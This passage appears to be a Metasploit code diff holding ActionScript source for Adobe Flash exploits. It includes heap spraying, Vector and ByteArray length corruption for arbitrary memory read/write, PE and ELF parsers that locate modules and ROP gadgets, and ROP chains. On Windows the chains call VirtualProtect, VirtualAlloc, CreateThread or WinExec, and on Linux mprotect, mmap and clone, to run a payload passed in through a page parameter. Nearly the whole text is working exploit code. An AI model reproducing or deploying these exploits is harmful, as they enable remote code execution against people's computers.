return ba.readUTFBytes(MAX_STRING_LENGTH)
else
return ba.readUTFBytes(length)
}
public function write(addr:uint, value:* = 0, zero:Boolean = true):void
{
var i:uint
if (addr) ba.position = addr
if (value is String) {
for (i = 0; i < value.length; i++) ba.writeByte(value.charCodeAt(i))
if (zero) ba.writeByte(0)
} else if (value is ByteArray) {
var value_length:uint = value.length
for (i = 0; i < value_length; i++) ba.writeByte(value.readByte())
} else ba.writeUnsignedInt(value)
}
}
}

View File

@ -0,0 +1,74 @@
package
{
public class ExploitVector
{
private var uv:Vector.<uint>
public var original_length:uint = 1014
public function ExploitVector(v:Vector.<uint>)
{
uv = v
}
public function restore():void
{
uv[0x3ffffffe] = original_length
}
public function is_ready():Boolean
{
if (uv.length > original_length)
{
return true
}
return false
}
public function at(pos:uint):uint
{
return uv[pos]
}
// pos: position where a Vector.<Object>[0] lives
public function set_own_address(pos:uint):void
{
uv[0] = uv[pos - 5] - ((pos - 5) * 4) - 0xc
}
public function read(addr:uint):uint
{
var pos:uint = 0
if (addr > uv[0]) {
pos = ((addr - uv[0]) / 4) - 2
} else {
pos = ((0xffffffff - (uv[0] - addr)) / 4) - 1
}
return uv[pos]
}
public function write(addr:uint, value:uint = 0):void
{
var pos:uint = 0
if (addr > uv[0]) {
pos = ((addr - uv[0]) / 4) - 2
} else {
pos = ((0xffffffff - (uv[0] - addr)) / 4) - 1
}
uv[pos] = value
}
public function search_pattern(pattern:uint, limit:uint):uint
{
for (var i:uint = 0; i < limit/4; i++) {
if (uv[i] == pattern) {
return i
}
}
throw new Error()
}
}
}

View File

@ -0,0 +1,399 @@
package
{
import flash.utils.ByteArray
import flash.system.System
public class Exploiter
{
private const VECTOR_OBJECTS_LENGTH:uint = 1014
private var exploit:Exploit
private var ev:ExploitVector
private var eba:ExploitByteArray
private var payload:ByteArray
private var platform:String
private var op_system:String
private var pos:uint
private var byte_array_object:uint
private var main:uint
private var stack_object:uint
private var payload_space_object:uint
private var buffer_object:uint
private var buffer:uint
private var vtable:uint
private var stack_address:uint
private var payload_address:uint
private var stack:Vector.<uint> = new Vector.<uint>(0x6400)
private var payload_space:Vector.<uint> = new Vector.<uint>(0x6400)
private var spray:Vector.<Object> = new Vector.<Object>(90000)
public function Exploiter(exp:Exploit, pl:String, os:String, p:ByteArray, uv:Vector.<uint>):void
{
exploit = exp
payload = p
platform = pl
op_system = os
ev = new ExploitVector(uv)
if (!ev.is_ready()) return
eba = new ExploitByteArray(platform)
spray_objects()
try { pos = search_objects() } catch (err:Error) { ev.restore(); cleanup(); return; }
ev.set_own_address(pos)
if (!disclose_objects()) { ev.restore(); cleanup(); return; }
disclose_addresses()
corrupt_byte_array()
if (!eba.is_ready()) { ev.restore(); cleanup(); return }
do_rop()
restore_byte_array()
ev.restore()
cleanup()
}
private function spray_objects():void
{
Logger.log("[*] Exploiter - spray_objects()")
for (var i:uint = 0; i < spray.length; i++)
{
spray[i] = new Vector.<Object>(VECTOR_OBJECTS_LENGTH)
spray[i][0] = eba.ba
spray[i][1] = exploit
spray[i][2] = stack
spray[i][3] = payload_space
}
}
private function search_objects():uint
{
Logger.log("[*] Exploiter - search_objects()")
var idx:uint = ev.search_pattern(VECTOR_OBJECTS_LENGTH, 0xac100)
return idx + 1
}
private function disclose_objects():Boolean
{
Logger.log("[*] Exploiter - disclose_objects()")
byte_array_object = ev.at(pos) - 1
main = ev.at(pos + 1) - 1
stack_object = ev.at(pos + 2) - 1
payload_space_object = ev.at(pos + 3) - 1
if (byte_array_object < 0x1000 || main < 0x1000 || stack_object < 0x1000 || payload_space_object < 0x1000) {
return false
}
return true
}
private function disclose_addresses():void
{
Logger.log("[*] Exploiter - disclose_addresses()")
if (platform == "linux")
{
buffer_object = ev.read(byte_array_object + 0x10)
buffer = ev.read(buffer_object + 0x1c)
}
else if (platform == "win")
{
buffer_object = ev.read(byte_array_object + 0x40)
buffer = ev.read(buffer_object + 8)
}
vtable = ev.read(main)
stack_address = ev.read(stack_object + 0x18)
payload_address = ev.read(payload_space_object + 0x18)
}
private function corrupt_byte_array():void
{
Logger.log("[*] Exploiter - corrupt_byte_array(): " + platform)
if (platform == "linux")
{
ev.write(buffer_object + 0x1c) // *array
ev.write(buffer_object + 0x20, 0xffffffff) // capacity
}
else if (platform == "win")
{
ev.write(buffer_object + 8) // *array
ev.write(buffer_object + 16, 0xffffffff) // capacity
}
eba.lets_ready()
}
private function restore_byte_array():void
{
Logger.log("[*] Exploiter - restore_byte_array(): " + platform)
if (platform == "linux")
{
ev.write(buffer_object + 0x1c, buffer) // *array
ev.write(buffer_object + 0x20, 1024) // capacity
}
else if (platform == "win")
{
ev.write(buffer_object + 8, buffer) // *array
ev.write(buffer_object + 16, 1024) // capacity
}
eba.set_length(eba.original_length)
}
private function do_rop():void
{
Logger.log("[*] Exploiter - do_rop()")
if (platform == "linux") {
do_rop_linux()
} else if (platform == "win") {
if (op_system == "Windows 8.1") {
do_rop_windows8()
} else if (op_system == "Windows 7") {
do_rop_windows()
} else {
return
}
} else {
return
}
}
private function do_rop_windows():void
{
Logger.log("[*] Exploiter - do_rop_windows()")
var pe:PE = new PE(eba)
var flash:uint = pe.base(vtable)
var winmm:uint = pe.module("winmm.dll", flash)
var kernel32:uint = pe.module("kernel32.dll", winmm)
var ntdll:uint = pe.module("ntdll.dll", kernel32)
var virtualprotect:uint = pe.procedure("VirtualProtect", kernel32)
var virtualalloc:uint = pe.procedure("VirtualAlloc", kernel32)
var createthread:uint = pe.procedure("CreateThread", kernel32)
var memcpy:uint = pe.procedure("memcpy", ntdll)
var xchgeaxespret:uint = pe.gadget("c394", 0x0000ffff, flash)
var xchgeaxesiret:uint = pe.gadget("c396", 0x0000ffff, flash)
var addespcret:uint = pe.gadget("c30cc483", 0xffffffff, ntdll)
// Continuation of execution
eba.write(buffer + 0x10, "\xb8", false); eba.write(0, vtable, false) // mov eax, vtable
eba.write(0, "\xbb", false); eba.write(0, main, false) // mov ebx, main
eba.write(0, "\x89\x03", false) // mov [ebx], eax
eba.write(0, "\x87\xf4\xc3", false) // xchg esp, esi # ret
// Put the payload (command) in memory
eba.write(payload_address + 8, payload, true); // payload
// Put the fake vtabe / stack on memory
eba.write(stack_address + 0x18070, xchgeaxespret) // Initial gadget (stackpivot); from @hdarwin89 sploits, kept for reliability...
eba.write(stack_address + 0x180a4, xchgeaxespret) // Initial gadget (stackpivot); call dword ptr [eax+0A4h]
eba.write(stack_address + 0x18000, xchgeaxesiret) // fake vtable; also address will become stack after stackpivot
eba.write(0, virtualprotect)
// VirtualProtect
eba.write(0, virtualalloc)
eba.write(0, buffer + 0x10)
eba.write(0, 0x1000)
eba.write(0, 0x40)
eba.write(0, buffer + 0x8) // Writable address (4 bytes)
// VirtualAlloc
eba.write(0, memcpy)
eba.write(0, 0x7f6e0000)
eba.write(0, 0x4000)
eba.write(0, 0x1000 | 0x2000) // MEM_COMMIT | MEM_RESERVE
eba.write(0, 0x40) // PAGE_EXECUTE_READWRITE
// memcpy
eba.write(0, addespcret) // stack pivot over arguments because ntdll!memcpy doesn't
eba.write(0, 0x7f6e0000)
eba.write(0, payload_address + 8)
eba.write(0, payload.length)
// CreateThread
eba.write(0, createthread)
eba.write(0, buffer + 0x10) // return to fix things
eba.write(0, 0)
eba.write(0, 0)
eba.write(0, 0x7f6e0000)
eba.write(0, 0)
eba.write(0, 0)
eba.write(0, 0)
eba.write(main, stack_address + 0x18000) // overwrite with fake vtable
exploit.toString() // call method in the fake vtable
}
private function do_rop_windows8():void
{
Logger.log("[*] Exploiter - do_rop_windows8()")
var pe:PE = new PE(eba)
var flash:uint = pe.base(vtable)
var winmm:uint = pe.module("winmm.dll", flash)
var advapi32:uint = pe.module("advapi32.dll", flash)
var kernelbase:uint = pe.module("kernelbase.dll", advapi32)
var kernel32:uint = pe.module("kernel32.dll", winmm)
var ntdll:uint = pe.module("ntdll.dll", kernel32)
var virtualprotect:uint = pe.procedure("VirtualProtect", kernelbase)
var virtualalloc:uint = pe.procedure("VirtualAlloc", kernelbase)
var createthread:uint = pe.procedure("CreateThread", kernelbase)
var memcpy:uint = pe.procedure("memcpy", ntdll)
var xchgeaxespret:uint = pe.gadget("c394", 0x0000ffff, flash)
var xchgeaxesiret:uint = pe.gadget("c396", 0x0000ffff, flash)
var addespcret:uint = pe.gadget("c30cc483", 0xffffffff, ntdll)
// Continuation of execution
eba.write(buffer + 0x10, "\xb8", false); eba.write(0, vtable, false) // mov eax, vtable
eba.write(0, "\xbb", false); eba.write(0, main, false) // mov ebx, main
eba.write(0, "\x89\x03", false) // mov [ebx], eax
eba.write(0, "\x87\xf4\xc3", false) // xchg esp, esi # ret
// Put the payload (command) in memory
eba.write(payload_address + 8, payload, true); // payload
// Put the fake vtabe / stack on memory
eba.write(stack_address + 0x18070, xchgeaxespret) // Initial gadget (stackpivot); from @hdarwin89 sploits, kept for reliability...
eba.write(stack_address + 0x180a4, xchgeaxespret) // Initial gadget (stackpivot); call dword ptr [eax+0A4h]
eba.write(stack_address + 0x18000, xchgeaxesiret) // fake vtable; also address will become stack after stackpivot
eba.write(0, virtualprotect)
// VirtualProtect
eba.write(0, virtualalloc)
eba.write(0, buffer + 0x10)
eba.write(0, 0x1000)
eba.write(0, 0x40)
eba.write(0, buffer + 0x8) // Writable address (4 bytes)
// VirtualAlloc
eba.write(0, memcpy)
eba.write(0, 0x7ffd0000)
eba.write(0, 0x4000)
eba.write(0, 0x1000 | 0x2000) // MEM_COMMIT | MEM_RESERVE
eba.write(0, 0x40) // PAGE_EXECUTE_READWRITE
// memcpy
eba.write(0, addespcret) // stack pivot over arguments because ntdll!memcpy doesn't
eba.write(0, 0x7ffd0000)
eba.write(0, payload_address + 8)
eba.write(0, payload.length)
// CreateThread
eba.write(0, createthread)
eba.write(0, buffer + 0x10) // return to fix things
eba.write(0, 0)
eba.write(0, 0)
eba.write(0, 0x7ffd0000)
eba.write(0, 0)
eba.write(0, 0)
eba.write(0, 0)
eba.write(main, stack_address + 0x18000) // overwrite with fake vtable
exploit.toString() // call method in the fake vtable
}
private function do_rop_linux():void
{
Logger.log("[*] Exploiter - do_rop_linux()")
var flash:Elf = new Elf(eba, vtable)
var feof:uint = flash.external_symbol('feof')
var libc:Elf = new Elf(eba, feof)
var popen:uint = libc.symbol("popen")
var mprotect:uint = libc.symbol("mprotect")
var mmap:uint = libc.symbol("mmap")
var clone:uint = libc.symbol("clone")
var xchgeaxespret:uint = flash.gadget("c394", 0x0000ffff)
var xchgeaxesiret:uint = flash.gadget("c396", 0x0000ffff)
var addesp2cret:uint = flash.gadget("c32cc483", 0xffffffff)
// Continuation of execution
// 1) Recover original vtable
eba.write(buffer + 0x10, "\xb8", false); eba.write(0, vtable, false) // mov eax, vtable
eba.write(0, "\xbb", false); eba.write(0, main, false) // mov ebx, main
eba.write(0, "\x89\x03", false) // mov [ebx], eax
// 2) Recover original stack
eba.write(0, "\x87\xf4\xc3", false) // xchg esp, esi
// my_memcpy
eba.write(buffer + 0x60, "\x56", false) // push esi
eba.write(0, "\x57", false) // push edi
eba.write(0, "\x51", false) // push ecx
eba.write(0, "\x8B\x7C\x24\x10", false) // mov edi,[esp+0x10]
eba.write(0, "\x8B\x74\x24\x14", false) // mov esi,[esp+0x14]
eba.write(0, "\x8B\x4C\x24\x18", false) // mov ecx,[esp+0x18]
eba.write(0, "\xF3\xA4", false) // rep movsb
eba.write(0, "\x59", false) // pop ecx
eba.write(0, "\x5f", false) // pop edi
eba.write(0, "\x5e", false) // pop esi
eba.write(0, "\xc3", false) // ret
// Put the popen parameters in memory
eba.write(payload_address + 0x8, payload, true) // false
// Put the fake stack/vtable on memory
eba.write(stack_address + 0x18024, xchgeaxespret) // Initial gadget, stackpivot
eba.write(stack_address + 0x18000, xchgeaxesiret) // Save original stack on esi
eba.write(0, addesp2cret) //second pivot to preserver stack_address + 0x18024
// Return to mprotect()
eba.write(stack_address + 0x18034, mprotect)
// Return to stackpivot (jmp over mprotect parameters)
eba.write(0, addesp2cret)
// mprotect() arguments
eba.write(0, buffer) // addr
eba.write(0, 0x1000) // size
eba.write(0, 0x7) // PROT_READ | PROT_WRITE | PROT_EXEC
// Return to mmap()
eba.write(stack_address + 0x18068, mmap)
// Return to stackpivot (jmp over mmap parameters)
eba.write(0, addesp2cret)
// mmap() code segment arguments
eba.write(0, 0x70000000) // 0x70000000
eba.write(0, 0x4000) // size
eba.write(0, 0x7) // PROT_READ | PROT_WRITE | PROT_EXEC
eba.write(0, 0x22) // MAP_PRIVATE | MAP_ANONYMOUS
eba.write(0, 0xffffffff) // filedes
eba.write(0, 0) // offset
// Return to mmap()
eba.write(stack_address + 0x1809c, mmap)
// Return to stackpivot (jmp over mmap parameters)
eba.write(0, addesp2cret)
// mmap() stack segment arguments
eba.write(0, 0x70008000) // NULL
eba.write(0, 0x10000) // size
eba.write(0, 0x7) // PROT_READ | PROT_WRITE | PROT_EXEC
eba.write(0, 0x22) // MAP_PRIVATE | MAP_ANONYMOUS
eba.write(0, -1) // filedes
eba.write(0, 0) // offset
// Return to memcpy()
eba.write(stack_address + 0x180d0, buffer + 0x60)
// Return to stackpivot (jmp over memcpy parameters)
eba.write(0, addesp2cret)
// memcpy() parameters
eba.write(0, 0x70000000)
eba.write(0, payload_address + 0x8)
eba.write(0, payload.length)
// Return to clone()
eba.write(stack_address + 0x18104, clone)
// Return to CoE (fix stack and object vtable)
eba.write(0, buffer + 0x10)
// clone() arguments
eba.write(0, 0x70000000) // code
eba.write(0, 0x7000bff0) // stack
eba.write(0, 0x00000100) // flags CLONE_VM
eba.write(0, 0) // args
//call DWORD PTR [eax+0x24]
//EAX: 0x41414141 ('AAAA')
//EDI: 0xad857088 ("AAAA\377")
eba.write(main, stack_address + 0x18000)
exploit.hasOwnProperty('msf')
}
private function cleanup():void
{
Logger.log("[*] Exploiter - cleanup()")
spray = null
stack = null
payload_space = null
eba = null
ev = null
exploit = null
System.pauseForGCIfCollectionImminent(0)
}
}
}

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package
{
import flash.external.ExternalInterface
public class Logger {
private static const DEBUG:uint = 0
public static function alert(msg:String):void
{
var str:String = "";
if (DEBUG == 1)
str += msg;
if(ExternalInterface.available){
ExternalInterface.call("alert", str);
}
}
public static function log(msg:String):void
{
var str:String = "";
if (DEBUG == 1)
str += msg;
if(ExternalInterface.available){
ExternalInterface.call("console.log", str);
}
}
}
}

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@ -1,264 +0,0 @@
// Build how to:
// 1. Download the AIRSDK, and use its compiler.
// 2. Be support to support 16.0 as target-player (flex-config.xml).
// 3. Download the Flex SDK (4.6)
// 4. Copy the Flex SDK libs (<FLEX_SDK>/framework/libs) to the AIRSDK folder (<AIR_SDK>/framework/libs)
// (all of them, also, subfolders, specially mx, necessary for the Base64Decoder)
// 5. Build with: mxmlc -o msf.swf Msf.as
// Original code by @hdarwin89 modified to be used from msf
// https://git.hacklab.kr/snippets/13
// http://pastebin.com/Wj3NViUu
package
{
import flash.display.Sprite
import flash.events.Event
import flash.utils.ByteArray
import flash.system.Worker
import flash.system.WorkerDomain
import flash.system.MessageChannel
import flash.system.ApplicationDomain
import avm2.intrinsics.memory.casi32
import flash.display.LoaderInfo
import mx.utils.Base64Decoder
public class Msf extends Sprite
{
private var ov:Vector.<Object> = new Vector.<Object>(25600)
private var uv:Vector.<uint> = new Vector.<uint>
private var ba:ByteArray = new ByteArray()
private var stack:Vector.<uint> = new Vector.<uint>(0x6400)
private var payload_space:Vector.<uint> = new Vector.<uint>(0x6400)
private var b64:Base64Decoder = new Base64Decoder()
private var payload:String = ""
private var worker:Worker
private var mc:MessageChannel
public function Msf()
{
if (Worker.current.isPrimordial) mainThread()
else workerThread()
}
private function mainThread():void
{
var b64_payload:String = LoaderInfo(this.root.loaderInfo).parameters.sh
var pattern:RegExp = / /g;
b64_payload = b64_payload.replace(pattern, "+")
b64.decode(b64_payload)
payload = b64.toByteArray().toString()
ba.length = 0x1000
ba.shareable = true
for (var i:uint = 0; i < ov.length; i++) {
ov[i] = new Vector.<Object>(1014)
ov[i][0] = ba
ov[i][1] = this
ov[i][2] = stack
ov[i][3] = payload_space
}
for (i = 0; i < ov.length; i += 2) delete(ov[i])
worker = WorkerDomain.current.createWorker(this.loaderInfo.bytes)
mc = worker.createMessageChannel(Worker.current)
mc.addEventListener(Event.CHANNEL_MESSAGE, onMessage)
worker.setSharedProperty("mc", mc)
worker.setSharedProperty("ba", ba)
ApplicationDomain.currentDomain.domainMemory = ba
worker.start()
}
private function workerThread():void
{
var ba:ByteArray = Worker.current.getSharedProperty("ba")
var mc:MessageChannel = Worker.current.getSharedProperty("mc")
var tmp:ByteArray = new ByteArray()
tmp.length = 0x2000
for (var i:uint = 0; i < 20; i++) {
new Vector.<uint>(1022)
}
ba.writeBytes(tmp)
ov[0] = new Vector.<uint>(1022)
mc.send("")
while (mc.messageAvailable);
// Vector length corruption didn't work, aborting...
if (ov[0].length != 0xffffffff) {
return
}
// Bad memory layout :( restoring length, and aborting...
if (ov[0][0x407] != 0x3f6) {
ov[0][0x3ffffffe] = 1022
return
}
ov[0][0] = ov[0][0x403] - 0x18 - 0x1000
var buffer:uint = vector_read(vector_read(ov[0][0x408] - 1 + 0x40) + 8) //+ 0x100000
var main:uint = ov[0][0x409] - 1
var stack_object:uint = ov[0][0x40a] - 1
var payload_space_object:uint = ov[0][0x40b] - 1
var vtable:uint = vector_read(main)
var stack_address:uint = vector_read(stack_object + 0x18) as uint
var payload_address:uint = vector_read(payload_space_object + 0x18) as uint
vector_write(vector_read(ov[0][0x408] - 1 + 0x40) + 8)
vector_write(vector_read(ov[0][0x408] - 1 + 0x40) + 16, 0xffffffff)
mc.send(buffer.toString() + "/" + main.toString() + "/" + vtable.toString() + "/" + stack_address.toString() + "/" + payload_address.toString())
}
private function onMessage(e:Event):void
{
casi32(0, 1022, 0xFFFFFFFF)
if (ba.length != 0xffffffff) mc.receive()
else {
// Restoring vector length
var res:uint = casi32(0, 0xffffffff, 1022)
if (res != 0xffffffff) { // Something has been wrong... aborting
return
}
ba.endian = "littleEndian"
var data:Array = (mc.receive() as String).split("/")
var buffer:uint = parseInt(data[0]) as uint
var main:uint = parseInt(data[1]) as uint
var vtable:uint = parseInt(data[2]) as uint
var stack_address:uint = parseInt(data[3]) as uint
var payload_address:uint = parseInt(data[4]) as uint
var flash:uint = base(vtable)
var winmm:uint = module("winmm.dll", flash)
var kernel32:uint = module("kernel32.dll", winmm)
var virtualprotect:uint = procedure("VirtualProtect", kernel32)
var winexec:uint = procedure("WinExec", kernel32)
var xchgeaxespret:uint = gadget("c394", 0x0000ffff, flash)
var xchgeaxesiret:uint = gadget("c396", 0x0000ffff, flash)
// Continuation of execution
byte_write(buffer + 0x10, "\xb8", false); byte_write(0, vtable, false) // mov eax, vtable
byte_write(0, "\xbb", false); byte_write(0, main, false) // mov ebx, main
byte_write(0, "\x89\x03", false) // mov [ebx], eax
byte_write(0, "\x87\xf4\xc3", false) // xchg esp, esi # ret
// Put the payload (command) in memory
byte_write(payload_address + 8, payload, true); // payload
// Put the fake vtabe / stack on memory
byte_write(stack_address + 0x18070, xchgeaxespret) // Initial gadget (stackpivot); from @hdarwin89 sploits, kept for reliability...
byte_write(stack_address + 0x180a4, xchgeaxespret) // Initial gadget (stackpivot); call dword ptr [eax+0A4h]
byte_write(stack_address + 0x18000, xchgeaxesiret) // fake vtable; also address will become stack after stackpivot
byte_write(0, virtualprotect)
// VirtualProtect
byte_write(0, winexec)
byte_write(0, buffer + 0x10)
byte_write(0, 0x1000)
byte_write(0, 0x40)
byte_write(0, buffer + 0x8) // Writable address (4 bytes)
// WinExec
byte_write(0, buffer + 0x10)
byte_write(0, payload_address + 8)
byte_write(0)
byte_write(main, stack_address + 0x18000) // overwrite with fake vtable
toString() // call method in the fake vtable
}
}
private function vector_write(addr:uint, value:uint = 0):void
{
var pos:uint = 0
if (addr > ov[0][0]) {
pos = ((addr - ov[0][0]) / 4) - 2
} else {
pos = ((0xffffffff - (ov[0][0] - addr)) / 4) - 1
}
ov[0][pos] = value
}
private function vector_read(addr:uint):uint
{
var pos:uint = 0
if (addr > ov[0][0]) {
pos = ((addr - ov[0][0]) / 4) - 2
} else {
pos = ((0xffffffff - (ov[0][0] - addr)) / 4) - 1
}
return ov[0][pos]
}
private function byte_write(addr:uint, value:* = 0, zero:Boolean = true):void
{
if (addr) ba.position = addr
if (value is String) {
for (var i:uint; i < value.length; i++) ba.writeByte(value.charCodeAt(i))
if (zero) ba.writeByte(0)
} else ba.writeUnsignedInt(value)
}
private function byte_read(addr:uint, type:String = "dword"):uint
{
ba.position = addr
switch(type) {
case "dword":
return ba.readUnsignedInt()
case "word":
return ba.readUnsignedShort()
case "byte":
return ba.readUnsignedByte()
}
return 0
}
private function base(addr:uint):uint
{
addr &= 0xffff0000
while (true) {
if (byte_read(addr) == 0x00905a4d) return addr
addr -= 0x10000
}
return 0
}
private function module(name:String, addr:uint):uint
{
var iat:uint = addr + byte_read(addr + byte_read(addr + 0x3c) + 0x80), i:int = -1
while (true) {
var entry:uint = byte_read(iat + (++i) * 0x14 + 12)
if (!entry) throw new Error("FAIL!");
ba.position = addr + entry
if (ba.readUTFBytes(name.length).toUpperCase() == name.toUpperCase()) break
}
return base(byte_read(addr + byte_read(iat + i * 0x14 + 16)))
}
private function procedure(name:String, addr:uint):uint
{
var eat:uint = addr + byte_read(addr + byte_read(addr + 0x3c) + 0x78)
var numberOfNames:uint = byte_read(eat + 0x18)
var addressOfFunctions:uint = addr + byte_read(eat + 0x1c)
var addressOfNames:uint = addr + byte_read(eat + 0x20)
var addressOfNameOrdinals:uint = addr + byte_read(eat + 0x24)
for (var i:uint = 0; ; i++) {
var entry:uint = byte_read(addressOfNames + i * 4)
ba.position = addr + entry
if (ba.readUTFBytes(name.length+2).toUpperCase() == name.toUpperCase()) break
}
return addr + byte_read(addressOfFunctions + byte_read(addressOfNameOrdinals + i * 2, "word") * 4)
}
private function gadget(gadget:String, hint:uint, addr:uint):uint
{
var find:uint = 0
var limit:uint = byte_read(addr + byte_read(addr + 0x3c) + 0x50)
var value:uint = parseInt(gadget, 16)
for (var i:uint = 0; i < limit - 4; i++) if (value == (byte_read(addr + i) & hint)) break
return addr + i
}
}
}

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package
{
public class PE
{
private var eba:ExploitByteArray
public function PE(ba:ExploitByteArray)
{
eba = ba
}
public function base(addr:uint):uint
{
addr &= 0xffff0000
while (true) {
if (eba.read(addr) == 0x00905a4d) return addr
addr -= 0x10000
}
return 0
}
public function module(name:String, addr:uint):uint
{
var iat:uint = addr + eba.read(addr + eba.read(addr + 0x3c) + 0x80), i:int = -1
var mod_name:String
while (true) {
var entry:uint = eba.read(iat + (++i) * 0x14 + 12)
if (!entry) throw new Error("FAIL!");
mod_name = eba.read_string(addr + entry, name.length)
if (mod_name.toUpperCase() == name.toUpperCase()) break
}
return base(eba.read(addr + eba.read(iat + i * 0x14 + 16)))
}
public function procedure(name:String, addr:uint):uint
{
var eat:uint = addr + eba.read(addr + eba.read(addr + 0x3c) + 0x78)
var numberOfNames:uint = eba.read(eat + 0x18)
var addressOfFunctions:uint = addr + eba.read(eat + 0x1c)
var addressOfNames:uint = addr + eba.read(eat + 0x20)
var addressOfNameOrdinals:uint = addr + eba.read(eat + 0x24)
var proc_name:String
for (var i:uint = 0; ; i++) {
var entry:uint = eba.read(addressOfNames + i * 4)
proc_name = eba.read_string(addr + entry, name.length + 2)
if (proc_name.toUpperCase() == name.toUpperCase()) break
}
return addr + eba.read(addressOfFunctions + eba.read(addressOfNameOrdinals + i * 2, "word") * 4)
}
public function gadget(gadget:String, hint:uint, addr:uint):uint
{
var find:uint = 0
var contents:uint = 0
var limit:uint = eba.read(addr + eba.read(addr + 0x3c) + 0x50)
var value:uint = parseInt(gadget, 16)
for (var i:uint = 0; i < limit - 4; i++) {
contents = eba.read(addr + i)
if (hint == 0xffffffff && value == contents) {
return addr + i
}
if (hint != 0xffffffff && value == (contents & hint)) {
return addr + i
}
}
throw new Error()
}
}
}

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package
{
public class Elf
{
private const PT_DYNAMIC:uint = 2
private const PT_LOAD:uint = 1
private const PT_READ_EXEC:uint = 5
private const DT_SYMTAB:uint = 6
private const DT_STRTAB:uint = 5
private const DT_PLTGOT:uint = 3
private var e_ba:ExploitByteArray
// elf base address
public var base:uint = 0
// program header address
public var ph:uint = 0
// number of program headers
public var ph_size:uint = 0
// program header entry size
public var ph_esize:uint = 0
// DYNAMIC segment address
public var seg_dynamic:uint = 0
// DYNAMIC segment size
public var seg_dynamic_size:uint = 0
// CODE segment address
public var seg_exec:uint = 0
// CODE segment size
public var seg_exec_size:uint = 0
// .dynsyn section address
public var sec_dynsym:uint = 0
// .synstr section address
public var sec_dynstr:uint = 0
// .got.plt section address
public var sec_got_plt:uint = 0
public function Elf(ba:ExploitByteArray, addr:uint)
{
e_ba = ba
set_base(addr)
set_program_header()
set_program_header_size()
set_program_header_entry_size()
set_dynamic_segment()
set_exec_segment()
set_dynsym()
set_dynstr()
set_got_plt()
}
public function external_symbol(name:String):uint {
var entry:uint = 0
var st_name:uint = 0
var st_value:uint = 0
var st_size:uint = 0
var st_info:uint = 0
var st_other:uint = 0
var st_shndx:uint = 0
var st_string:String = ""
var got_plt_index:uint = 0
for(var i:uint = 0; i < 1000; i++) { // 1000 is just a limit
entry = sec_dynsym + 0x10 + (i * 0x10)
st_name = e_ba.read(entry)
st_value = e_ba.read(entry + 4)
st_info = e_ba.read(entry + 0xc, "byte")
st_string = e_ba.read_string(sec_dynstr + st_name)
if (st_string == name) {
return e_ba.read(sec_got_plt + 0xc + (got_plt_index * 4))
}
if (st_info != 0x11) {
got_plt_index++
}
}
throw new Error()
}
public function symbol(name:String):uint {
var entry:uint = 0
var st_name:uint = 0
var st_value:uint = 0
var st_size:uint = 0
var st_info:uint = 0
var st_other:uint = 0
var st_shndx:uint = 0
var st_string:String = ""
for(var i:uint = 0; i < 3000; i++) { // 3000 is just a limit
entry = sec_dynsym + 0x10 + (i * 0x10)
st_name = e_ba.read(entry)
st_value = e_ba.read(entry + 4)
st_info = e_ba.read(entry + 0xc, "byte")
st_string = e_ba.read_string(sec_dynstr + st_name)
if (st_string == name) {
return base + st_value
}
}
throw new Error()
}
public function gadget(gadget:String, hint:uint):uint
{
var value:uint = parseInt(gadget, 16)
var contents:uint = 0
for (var i:uint = 0; i < seg_exec_size - 4; i++) {
contents = e_ba.read(seg_exec + i)
if (hint == 0xffffffff && value == contents) {
return seg_exec + i
}
if (hint != 0xffffffff && value == (contents & hint)) {
return seg_exec + i
}
}
throw new Error()
}
private function set_base(addr:uint):void
{
addr &= 0xffff0000
while (true) {
if (e_ba.read(addr) == 0x464c457f) {
base = addr
return
}
addr -= 0x1000
}
throw new Error()
}
private function set_program_header():void
{
ph = base + e_ba.read(base + 0x1c)
}
private function set_program_header_size():void
{
ph_size = e_ba.read(base + 0x2c, "word")
}
private function set_program_header_entry_size():void
{
ph_esize = e_ba.read(base + 0x2a, "word")
}
private function set_dynamic_segment():void
{
var entry:uint = 0
var p_type:uint = 0
for (var i:uint = 0; i < ph_size; i++) {
entry = ph + (i * ph_esize)
p_type = e_ba.read(entry)
if (p_type == PT_DYNAMIC) {
seg_dynamic = base + e_ba.read(entry + 8)
seg_dynamic_size = e_ba.read(entry + 0x14)
return
}
}
throw new Error()
}
private function set_exec_segment():void
{
var entry:uint = 0
var p_type:uint = 0
var p_flags:uint = 0
for (var i:uint = 0; i < ph_size; i++) {
entry = ph + (i * ph_esize)
p_type = e_ba.read(entry)
p_flags = e_ba.read(entry + 0x18)
if (p_type == PT_LOAD && (p_flags & PT_READ_EXEC) == PT_READ_EXEC) {
seg_exec = base + e_ba.read(entry + 8)
seg_exec_size = e_ba.read(entry + 0x14)
return
}
}
throw new Error()
}
private function set_dynsym():void
{
var entry:uint = 0
var s_type:uint = 0
for (var i:uint = 0; i < seg_dynamic_size; i = i + 8) {
entry = seg_dynamic + i
s_type = e_ba.read(entry)
if (s_type == DT_SYMTAB) {
sec_dynsym = e_ba.read(entry + 4)
return
}
}
throw new Error()
}
private function set_dynstr():void
{
var entry:uint = 0
var s_type:uint = 0
for (var i:uint = 0; i < seg_dynamic_size; i = i + 8) {
entry = seg_dynamic + i
s_type = e_ba.read(entry)
if (s_type == DT_STRTAB) {
sec_dynstr = e_ba.read(entry + 4)
return
}
}
throw new Error()
}
private function set_got_plt():void
{
var entry:uint = 0
var s_type:uint = 0
for (var i:uint = 0; i < seg_dynamic_size; i = i + 8) {
entry = seg_dynamic + i
s_type = e_ba.read(entry)
if (s_type == DT_PLTGOT) {
sec_got_plt = e_ba.read(entry + 4)
return
}
}
throw new Error()
}
}
}

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package
{
import flash.display.BitmapData
import flash.display.Shader
import flash.display.ShaderJob
import flash.display.Sprite
import flash.utils.getTimer
import flash.display.LoaderInfo
import mx.utils.Base64Decoder
import flash.utils.ByteArray
public class Exploit extends Sprite
{
[Embed ( source="exploit.pbj", mimeType="application/octet-stream" ) ]
private static var BilinearScaling:Class
private var ov:Vector.<Object>
private var uv:Vector.<uint>
private var b64:Base64Decoder = new Base64Decoder()
private var payload:ByteArray
private var platform:String
private var os:String
private var exploiter:Exploiter
public function Exploit()
{
platform = LoaderInfo(this.root.loaderInfo).parameters.pl
os = LoaderInfo(this.root.loaderInfo).parameters.os
var b64_payload:String = LoaderInfo(this.root.loaderInfo).parameters.sh
var pattern:RegExp = / /g;
b64_payload = b64_payload.replace(pattern, "+")
b64.decode(b64_payload)
payload = b64.toByteArray()
var srcBmd:BitmapData = new BitmapData(0x93, 1, true, 0x40000000);
// Create and configure a Shader object to apply the the bilinear scaling bytecode
var shader:Shader = new Shader()
shader.byteCode = new BilinearScaling()
shader.data.scale.value = [1]
